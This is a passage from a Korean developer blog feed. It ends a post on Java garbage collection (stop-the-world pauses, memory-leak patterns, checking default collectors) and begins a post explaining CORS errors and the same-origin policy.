&lt;p&gt;GC가 참조 그래프를 훑는 도중에 애플리케이션이 참조를 바꿔 버리면, 방금 확인한 결과가 거짓이 됩니다. 살아 있는 객체를 쓰레기로 판단하면 그 순간 프로그램이 깨집니다.&lt;/p&gt;
&lt;p&gt;그래서 &lt;strong&gt;일부 구간에서는 애플리케이션 스레드를 전부 멈춥니다.&lt;/strong&gt; 이게 Stop-the-World(STW)입니다.&lt;/p&gt;
&lt;p&gt;이 멈춤이 실무에서 나타나는 모습:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;평균 응답은 멀쩡한데 &lt;strong&gt;p99만 튄다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;부하와 무관하게 &lt;strong&gt;주기적으로&lt;/strong&gt; 지연이 생긴다&lt;/li&gt;
&lt;li&gt;힙을 키웠더니 &lt;strong&gt;횟수는 줄었는데 한 번이 더 길어졌다&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;마지막 항목이 중요합니다. &lt;strong&gt;힙을 키우는 건 공짜가 아닙니다.&lt;/strong&gt; 볼 게 많아지니 한 번의 정지가 길어집니다. 최신 컬렉터들은 이 문제를 &quot;그래프 순회를 애플리케이션과 &lt;strong&gt;동시에&lt;/strong&gt; 수행&quot;하는 방식으로 줄이고 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;GC가 있는데 왜 메모리 누수가 나나&lt;/h2&gt;
&lt;p&gt;여기가 실무에서 제일 자주 걸리는 지점입니다. 앞의 원리를 그대로 뒤집으면 답이 나옵니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;GC는 &quot;닿을 수 있는&quot; 객체를 절대 지우지 않습니다. 여러분이 안 쓴다고 해도요.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;즉 자바의 메모리 누수는 &lt;strong&gt;&quot;안 쓰는데 참조가 남아 있는 상태&quot;&lt;/strong&gt; 입니다. 흔한 네 가지입니다.&lt;/p&gt;
&lt;h3&gt;1. static 컬렉션에 넣고 안 뺀다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Map&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Session&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;SESSIONS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HashMap&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;User&lt;/span&gt; u&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token constant&quot;&gt;SESSIONS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Session&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// 넣기만 하고&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;                                              &lt;span class=&quot;token comment&quot;&gt;// 로그아웃 때 remove 안 하면 영원히 산다&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;static&lt;/code&gt;은 GC Root입니다. 여기 걸린 건 애플리케이션이 살아 있는 한 절대 회수되지 않습니다.&lt;/p&gt;
&lt;h3&gt;2. 캐시에 상한이 없다&lt;/h3&gt;
&lt;p&gt;만료도 없고 최대 크기도 없는 캐시는 그냥 &lt;strong&gt;천천히 자라는 누수&lt;/strong&gt;입니다. &lt;code class=&quot;language-text&quot;&gt;Map&lt;/code&gt;을 직접 캐시로 쓰지 마시고, TTL과 최대 크기를 주는 캐시 라이브러리를 쓰세요.&lt;/p&gt;
&lt;h3&gt;3. 리스너·콜백을 등록하고 해제하지 않는다&lt;/h3&gt;
&lt;p&gt;등록하는 쪽이 대상 객체를 참조합니다. 해제하지 않으면 대상이 계속 살아 있습니다. 등록과 해제는 &lt;strong&gt;항상 짝으로&lt;/strong&gt; 다뤄야 합니다.&lt;/p&gt;
&lt;h3&gt;4. ThreadLocal 을 정리하지 않는다&lt;/h3&gt;
&lt;p&gt;스레드 풀에서는 스레드가 재사용되므로, &lt;code class=&quot;language-text&quot;&gt;remove()&lt;/code&gt; 하지 않으면 값이 스레드 수명만큼 남습니다. 요청이 끝나는 지점(필터·인터셉터)에서 반드시 정리해야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;네 가지의 공통점은 하나입니다 — 전부 &quot;참조를 남긴 쪽&quot;의 문제이지 GC의 문제가 아닙니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;튜닝하기 전에 볼 것&lt;/h2&gt;
&lt;p&gt;GC 옵션부터 만지는 건 대개 순서가 틀렸습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;왜 늘어나는지 먼저 봅니다.&lt;/strong&gt; 힙 사용량이 톱니 모양으로 오르내리면 정상입니다. &lt;strong&gt;GC 후에도 바닥이 계속 올라가면&lt;/strong&gt; 그건 튜닝 대상이 아니라 누수입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;누수라면 힙 덤프를 봅니다.&lt;/strong&gt; 무엇이 얼마나 쌓였고, &lt;strong&gt;그것을 붙잡고 있는 참조 경로가 무엇인지&lt;/strong&gt;(GC Root까지의 경로)를 확인합니다. 도구가 이 경로를 그려 줍니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;누수가 아니라면&lt;/strong&gt; 그때 컬렉터와 힙 크기를 검토합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;내 런타임의 기본값 확인하기&lt;/h3&gt;
&lt;p&gt;컬렉터 기본값은 JDK 버전마다 달라지고, 인터넷 글은 금방 낡습니다. &lt;strong&gt;직접 확인하는 게 확실합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 지금 어떤 컬렉터가 켜져 있나&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;java&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-XX:+PrintFlagsFinal&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-version&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Use.*GC&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# GC 로그 남기기 (JDK 9+)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;java&lt;/span&gt; -Xlog:gc*:file&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;gc.log:time,uptime &lt;span class=&quot;token parameter variable&quot;&gt;-jar&lt;/span&gt; app.jar&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;큰 그림만 말씀드리면 — &lt;strong&gt;G1&lt;/strong&gt;은 JDK 9부터 오랫동안 기본 컬렉터 자리를 지켜 왔고 메모리 효율이 좋습니다. &lt;strong&gt;ZGC&lt;/strong&gt;는 힙 크기와 거의 무관하게 정지 시간을 아주 짧게 유지하는 대신 메모리와 CPU를 더 씁니다(JDK 21에서 세대별 방식이 들어갔습니다). &lt;strong&gt;지연 시간이 실제로 문제일 때&lt;/strong&gt; 바꾸는 것이지, 기본값이 나빠서 바꾸는 게 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 것&lt;/h2&gt;
&lt;h3&gt;&lt;code class=&quot;language-text&quot;&gt;System.gc()&lt;/code&gt; 를 부르면 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;권장하지 않습니다.&lt;/strong&gt; 요청일 뿐 강제가 아니고, 실행되면 대개 Full GC라 오히려 크게 멈춥니다. 운영 코드에 있다면 지우는 쪽이 맞습니다.&lt;/p&gt;
&lt;h3&gt;null 을 대입하면 도움이 되나요?&lt;/h3&gt;
&lt;p&gt;거의 아닙니다. 지역 변수는 메서드가 끝나면 어차피 스택에서 사라집니다. &lt;strong&gt;의미가 있는 경우는 오래 사는 객체의 필드&lt;/strong&gt;입니다 — 긴 수명의 객체가 짧게 쓸 큰 객체를 붙잡고 있을 때는 명시적으로 끊어 줄 이유가 있습니다.&lt;/p&gt;
&lt;h3&gt;자바 말고 다른 언어도 같나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;도달 가능성이라는 원리는 같습니다.&lt;/strong&gt; Go·자바스크립트도 그래프를 순회하는 방식입니다. Python·Swift는 참조 카운팅이 기본이고, 순환 참조를 처리하는 장치가 따로 붙습니다. 그래서 &lt;strong&gt;&quot;참조를 남기면 안 지워진다&quot;는 결론은 어느 언어에서나 그대로&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;GC를 한 문장으로 줄이면 이렇습니다. &lt;strong&gt;닿을 수 없으면 쓰레기다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;여기서 나머지가 전부 따라옵니다. 대부분의 객체가 금방 닿지 않게 되니까 &lt;strong&gt;세대로 나누는 게 이득&lt;/strong&gt;이고, 닿는지 확인하는 동안 그래프가 바뀌면 안 되니까 &lt;strong&gt;잠깐 멈춰야&lt;/strong&gt; 하고, 참조를 남겨 두면 안 쓰는데도 닿으니까 &lt;strong&gt;누수가 납니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;그래서 실무에서 할 일은 GC 옵션을 만지는 게 아니라, &lt;strong&gt;무엇이 무엇을 붙잡고 있는지 확인하는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;여러분은 메모리 문제를 어디서 잡으셨나요? 원인이 이 네 가지 중 하나였나요?&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/21/gctuning/&quot;&gt;HotSpot 가상 머신 GC 튜닝 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.org/jeps/439&quot;&gt;JEP 439: Generational ZGC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[CORS 에러는 왜 나나 — 서버는 200인데 브라우저가 막는 이유]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 콘솔에 이게 뜹니다.
 그런데 네트워크 탭을 보면 응답은 200입니다. Postman으로 쏴 보면 잘 됩니다. 결론부터 말씀드리면 — CORS…]]></description><link>https://blog.javapark.kr/cors-error-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/cors-error-guide/</guid><pubDate>Mon, 17 Aug 2026 20:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/38e839be2338a19feea414356032080e/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLUlEQVR42j2S2XMSQRDGtwzs9F6zx+wxyx4s5wLJQgKEXIshMRJCCEHRWBQaLTWmrFg+aJXPefAPd9CYqt9D98PX3zfTzZkyiohU87R6YOQt2ZSQJT+QU1HVgXYensZw1oTXPXifwu2RcDMQlvswawNHJFQ1s9sFoROhQMsYIm8rD2JPQzGFTgSHMZy34M0OfDqE70Ph7kS4TuFll4nF7OXZ8Nvtze/7+18/flJV1NATQ1jTYY0qWea8FUK/unJ+9df5y5Hw+fC/sylmR4P05vrt3cfF1+tpoxiWfVoNPUbeUgtGtunDXhlOGjDdgqseLPdgsQvzLoybwAUKHCS1F8PTZ4m5OEBXk9P5xfl8ev5hueg16xFBSSCx5P0Ynq+vwrMRF1urIMd14GJDSRyy6Vqd0NsMvLpDikQpmDhv4wLVY59UHLHh8u2Q3y+jQW2lYbAv3C0Bt6Ero9h+l5Ym6/aoRmbtXCuHmxGt+WZgSBsRbZWcdR/3E79Xwt0I9QrAYFnYc7gu0cYVutwuTWJ7HDuzzbCT0zoFrxW5gSHHnhX7Zt6UW0Wn4Sk1yjdy0HAhpqhkIS51SGoZ+7p2YBo7RG+pONFxBQuBjBwZ6ULGEDKmxBMx42I+0BHD13m2Raog7ti1xr4zDd2RZx+7ZkpJx9I2CC5rkocFWwEG2/lj4SiQ00SqCqzmhq41LwaLSnQZuifU7Dtk29ISA5d12cfC47X9g92fq4qRrQYEs/YPhUNXajDTQOMAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/38e839be2338a19feea414356032080e/a1b3b/thumbnail.webp 215w,
/static/38e839be2338a19feea414356032080e/fc700/thumbnail.webp 430w,
/static/38e839be2338a19feea414356032080e/521f7/thumbnail.webp 860w,
/static/38e839be2338a19feea414356032080e/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/38e839be2338a19feea414356032080e/f7886/thumbnail.png 215w,
/static/38e839be2338a19feea414356032080e/bc750/thumbnail.png 430w,
/static/38e839be2338a19feea414356032080e/3e3fe/thumbnail.png 860w,
/static/38e839be2338a19feea414356032080e/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/38e839be2338a19feea414356032080e/3e3fe/thumbnail.png&apos; alt=&apos;CORS 에러 커버 — 서버는 200을 응답했는데 브라우저가 차단하는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;CORS 에러 커버 — 서버는 200을 응답했는데 브라우저가 차단하는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;콘솔에 이게 뜹니다.
&lt;code class=&quot;language-text&quot;&gt;Access to fetch at &apos;https://api.example.com/users&apos; from origin &apos;https://app.example.com&apos; has been blocked by CORS policy&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;그런데 네트워크 탭을 보면 &lt;strong&gt;응답은 200입니다.&lt;/strong&gt; Postman으로 쏴 보면 잘 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;CORS 에러는 서버가 요청을 거부한 게 아닙니다.&lt;/strong&gt; 서버는 정상적으로 응답했고, &lt;strong&gt;브라우저가 그 응답을 자바스크립트에 넘겨주지 않은 것&lt;/strong&gt;입니다. 이 한 줄을 이해하면 나머지가 전부 따라옵니다.&lt;/p&gt;
&lt;p&gt;응답이 200으로 도착하고도 버려지는 순간을 눈으로 보고 싶으시면 &lt;strong&gt;1분짜리 영상&lt;/strong&gt;으로도 정리했습니다. preflight가 요청을 두 번 보내는 장면까지 같이 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/3qyMkxMzzqk&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 106.9767441860465%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAACXBIWXMAAAsTAAALEwEAmpwYAAADZElEQVR42k2U7W/jRBCHA6cmcXZmve/rtR2/5N1Jc2mbJk1prz0Exx09AQdC4hMIiY/w/39mnOQQ0qPVyDO/ndnZ8XYuusiqFa7usLnFZofNHhY7/fqhPLwrDt/6myfe7OLlPl7uBLHay8WVkkIhSI6di34M81veHPhiT8TN3WCyrQ/fffzjn5ff/15/8zObbunjyUvI9cFYbTjo+Cze8sUdn+/4dCsO7+XzJ75/hw8f8f77+Otf5Fcv4v5D6z1CYue1jcEKElPZ9SWnvWdbPr8VbYV7WuXlQbbrnVzuFFXb3MolsTfNtTfCSXASO68u4EsiEl9E4lUUD4TvgeijYFxgLLiIYxnbxCkttBHGCqvRKUgUtuI4Ep4pN5AJaymEz7kOXHkuAxepEIWUc+8mWk6NnFm5cHpiZdBI+s5SpW/T+jFUG19ct5QbXz6no0/F9Kdi8mMxeU7rq7PrHLBPssKgJ/FKp09pfZ9Ul654fYSMh1CT7MNw/D4f34dq/dl1hMR5YbgjsWYm5z7jbsj9MPZjk9fSl9IOhSmkLpUaKdUkydzqhdWN1atj2VRzm7nb172+7p5RGIcB04ydpkAIpL6B1VrGdLGgBRgJ9tjqtmHRwEYDdyayscgAHAJNgeIgBQrJudOGRoIwAu1nyO7wOPsfqbZVLLNYBG0yY1IlnZIm8cFpRXjCqMQop4Si8RR0O6pFqoKLPE0muS2Czsp8OqsWmQmFC0U6pIn0RhMJYbVTqp1tqcoTWldal+tscZdNb8Lo0pe3odqm1X1W3QzrxFin9X8YqQSexZVQtTWjxk9WWTN1o6mr1kk98+UqKVd+uMlH25A7ZbTURilC0fABdgCHwAs8QrZSY+RDwBQwIHqOjqNVKuVI/RfIOALnwMkAxjvIS4JjuyLSyccAOWMpQADwAJYxLUVgA8EiziJgEWMDPHEUJw3ml5itMFvGxRrzFQvzKJkNwoylM0hnPG8gTCCMIR2DK6IIT3S4GJGSpfMzYdbT1Xjz+PLrnz/89tf1m5eeqVm7yylgwfJFn367HvT7rXhMOZkfMz9hbgzlGteP8ezWXD3ZzRt19YzTLdQbcrUBRDrrMdntQrdHZcc1iSFdtIQ5DFc437XRkxs2uiJgfA3VmoVpmz/QWab0+FxcAL0i/wIbCX2redoZtQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/f6b49c87aca67542082d073ab77aa211/a1b3b/video-thumb.webp 215w,
/static/f6b49c87aca67542082d073ab77aa211/fc700/video-thumb.webp 430w,
/static/f6b49c87aca67542082d073ab77aa211/521f7/video-thumb.webp 860w,
/static/f6b49c87aca67542082d073ab77aa211/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/f6b49c87aca67542082d073ab77aa211/f7886/video-thumb.png 215w,
/static/f6b49c87aca67542082d073ab77aa211/bc750/video-thumb.png 430w,
/static/f6b49c87aca67542082d073ab77aa211/3e3fe/video-thumb.png 860w,
/static/f6b49c87aca67542082d073ab77aa211/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/f6b49c87aca67542082d073ab77aa211/3e3fe/video-thumb.png&apos; alt=&apos;CORS 영상 — 서버는 200을 응답했는데 브라우저가 허용 헤더를 확인하고 응답을 버리는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;CORS 영상 — 서버는 200을 응답했는데 브라우저가 허용 헤더를 확인하고 응답을 버리는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;막는 건 서버가 아니라 브라우저다&lt;/h2&gt;
&lt;p&gt;흐름을 순서대로 보면 이렇습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순서&lt;/th&gt;
&lt;th&gt;일어나는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;브라우저가 서버에 요청을 보냄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;서버가 정상 처리하고 &lt;strong&gt;200 OK 응답&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;브라우저가 응답 헤더를 검사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;허용 표시가 없으면 &lt;strong&gt;응답을 버리고 JS에는 에러를 던짐&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;요청은 이미 서버까지 &lt;strong&gt;갔고&lt;/strong&gt;, 서버는 이미 &lt;strong&gt;처리했습니다.&lt;/strong&gt; 그래서 &lt;code class=&quot;language-text&quot;&gt;POST /orders&lt;/code&gt; 였다면 주문은 생성돼 있을 수 있습니다. CORS는 요청을 막는 게 아니라 &lt;strong&gt;응답을 못 읽게 하는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;여기서 두 가지 흔한 현상이 설명됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Postman·curl은 왜 되나&lt;/strong&gt; — CORS는 브라우저가 지키는 규칙입니다. Postman은 브라우저가 아니라서 검사 자체를 안 합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;네트워크 탭에 200이 찍히는데 왜 에러인가&lt;/strong&gt; — 네트워크 탭은 실제 통신을 보여주고, 콘솔 에러는 브라우저가 그 뒤에 내린 판정입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;왜 막나 — 동일 출처 정책&lt;/h2&gt;
&lt;p&gt;브라우저에는 &lt;strong&gt;동일 출처 정책(Same-Origin Policy)&lt;/strong&gt; 이 기본으로 켜져 있습니다. 다른 출처의 응답은 스크립트가 읽을 수 없다는 규칙입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;출처(Origin) = 프로토콜 + 호스트 + 포트&lt;/strong&gt;, 세 개가 전부 같아야 같은 출처입니다.&lt;/p&gt;
&lt;p&gt;기준이 &lt;code class=&quot;language-text&quot;&gt;https://app.example.com&lt;/code&gt; 일 때:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상대 URL&lt;/th&gt;
&lt;th&gt;같은 출처?&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;https://app.example.com/api&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;경로만 다름 — 출처에 경로는 안 들어감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;http://app.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;프로토콜이 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;https://api.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;호스트가 다름 (서브도메인도 남)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;https://app.example.com:8443&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;포트가 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;서브도메인도 다른 출처입니다.&lt;/strong&gt; 실무에서 &lt;code class=&quot;language-text&quot;&gt;app.&lt;/code&gt; 과 &lt;code class=&quot;language-text&quot;&gt;api.&lt;/code&gt; 로 나눠 놓고 CORS에 걸리는 게 이 이유입니다.&lt;/p&gt;
&lt;h3&gt;이 규칙이 없으면 무슨 일이 생기나&lt;/h3&gt;
&lt;p&gt;악성 사이트에 접속만 해도, 그 페이지의 스크립트가 여러분이 로그인해 둔 은행 사이트의 API를 &lt;strong&gt;여러분의 쿠키를 실어서&lt;/strong&gt; 호출하고 응답까지 읽어갈 수 있습니다.&lt;/p&gt;
&lt;p&gt;동일 출처 정책은 그걸 막는 기본 빗장이고, &lt;strong&gt;CORS는 그 빗장을 서버가 의도적으로 여는 방법&lt;/strong&gt;입니다. 순서를 정확히 하면 —&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;브라우저는 기본이 &lt;strong&gt;차단&lt;/strong&gt;이다. CORS는 보안을 &lt;em&gt;추가하는&lt;/em&gt; 게 아니라 &lt;strong&gt;차단을 완화하는&lt;/strong&gt; 규약이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;서버가 여는 방법 — 응답 헤더&lt;/h2&gt;
&lt;p&gt;서버가 응답에 이 헤더를 붙이면 브라우저가 통과시킵니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token response-status&quot;&gt;&lt;span class=&quot;token http-version property&quot;&gt;HTTP/1.1&lt;/span&gt; &lt;span class=&quot;token status-code number&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;token reason-phrase string&quot;&gt;OK&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;https://app.example.com&lt;/span&gt;&lt;/span&gt;
